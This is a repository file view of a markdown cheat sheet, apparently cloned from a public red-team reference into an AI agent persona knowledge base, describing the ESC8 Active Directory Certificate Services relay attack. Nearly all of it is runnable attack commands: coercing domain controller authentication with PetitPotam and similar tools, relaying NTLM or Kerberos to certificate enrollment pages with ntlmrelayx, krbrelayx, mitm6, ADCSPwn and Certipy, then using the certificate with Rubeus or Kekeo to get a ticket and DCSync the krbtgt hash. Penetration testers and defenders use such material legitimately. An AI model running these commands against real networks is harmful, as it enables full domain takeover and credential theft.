Files
personas/personas/_shared/internal-allthethings/active-directory/ad-adcs-esc08.md
salvacybersec 448d1cdcd9 feat(install): add OpenCode target + InternalAllTheThings knowledge base
- install_opencode: deploys 29 personas as agents + 1011 skills to
  ~/.config/opencode/{agents,skills}/. Uses OpenCode's markdown+YAML
  agent format (mode/color/permission) and SKILL.md format.
- Topic filter with sensible defaults (drops marketing/biz ~514 skills).
  CLI: --opencode-topics security-offensive,coding-backend,...
- Clone of swisskyrepo/InternalAllTheThings (168 MD, 1.7MB) added to
  _shared/ as a reference trove for AD attack paths, ADCS ESC1-15,
  Kerberos delegation, NTLM relay/coerce, lateral movement, persistence.
- NEO redteam + VORTEX cloud-ad personas reference the new KB with
  MITRE ATT&CK TTP mapping pointers.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-16 03:11:44 +03:00

4.9 KiB
Raw Blame History

Active Directory - Certificate ESC8

ESC8 - Web Enrollment Relay

An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controllers NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.

Require SecureAuthCorp/impacket PR #1101

  • Version 1: NTLM Relay + Rubeus + PetitPotam

    impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
    impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate
    # For a member server or workstation, the template would be "Computer".
    # Other templates: workstation, DomainController, Machine, KerberosAuthentication
    
    # Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam 
    # You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
    git clone https://github.com/topotam/PetitPotam
    python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
    python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
    python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
    python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local
    
    # Use the certificate with rubeus to request a TGT
    Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
    Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt
    
    # Now you can use the TGT to perform a DCSync
    mimikatz> lsadump::dcsync /user:krbtgt
    
  • Version 2: NTLM Relay + Mimikatz + Kekeo

    impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
    
    # Mimikatz
    mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth
    
    # Kekeo
    kekeo> base64 /input:on
    kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt
    
    # Mimikatz
    mimikatz> lsadump::dcsync /user:krbtgt
    
  • Version 3: Kerberos Relay

    # Setup the relay
    sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine
    
    # Run mitm6
    sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v
    
  • Version 4: ADCSPwn - Require WebClient service running on the domain controller. By default this service is not installed.

    https://github.com/bats3c/ADCSPwn
    adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
    adcspwn.exe --adcs cs.pwnlab.local
    adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
    adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
    adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local
    
    # ADCSPwn arguments
    adcs            -       This is the address of the AD CS server which authentication will be relayed to.
    secure          -       Use HTTPS with the certificate service.
    port            -       The port ADCSPwn will listen on.
    remote          -       Remote machine to trigger authentication from.
    username        -       Username for non-domain context.
    password        -       Password for non-domain context.
    dc              -       Domain controller to query for Certificate Templates (LDAP).
    unc             -       Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
    output          -       Output path to store base64 generated crt.
    
  • Version 5: Certipy ESC8

    certipy relay -ca 172.16.19.100
    
  • Version 6: Kerberos Relay (self relay in case of only one DC)

    # Add dns entry with the james forshaw's trick
    dnstool.py -u "domain.local\user" -p "password" -r "computer1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "10.10.10.10" --action add "10.10.10.11" --tcp
    
    # Coerce kerberos with petit potam on dns entry
    petitpotam.py -u 'user' -p 'password' -d domain.local 'computer1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' computer.domain.local
    
    # relay kerberos
    python3 krbrelayx.py -t 'http://computer.domain.local/certsrv/certfnsh.asp' --adcs --template DomainController -v 'COMPUTER$' -ip 10.10.10.10
    

References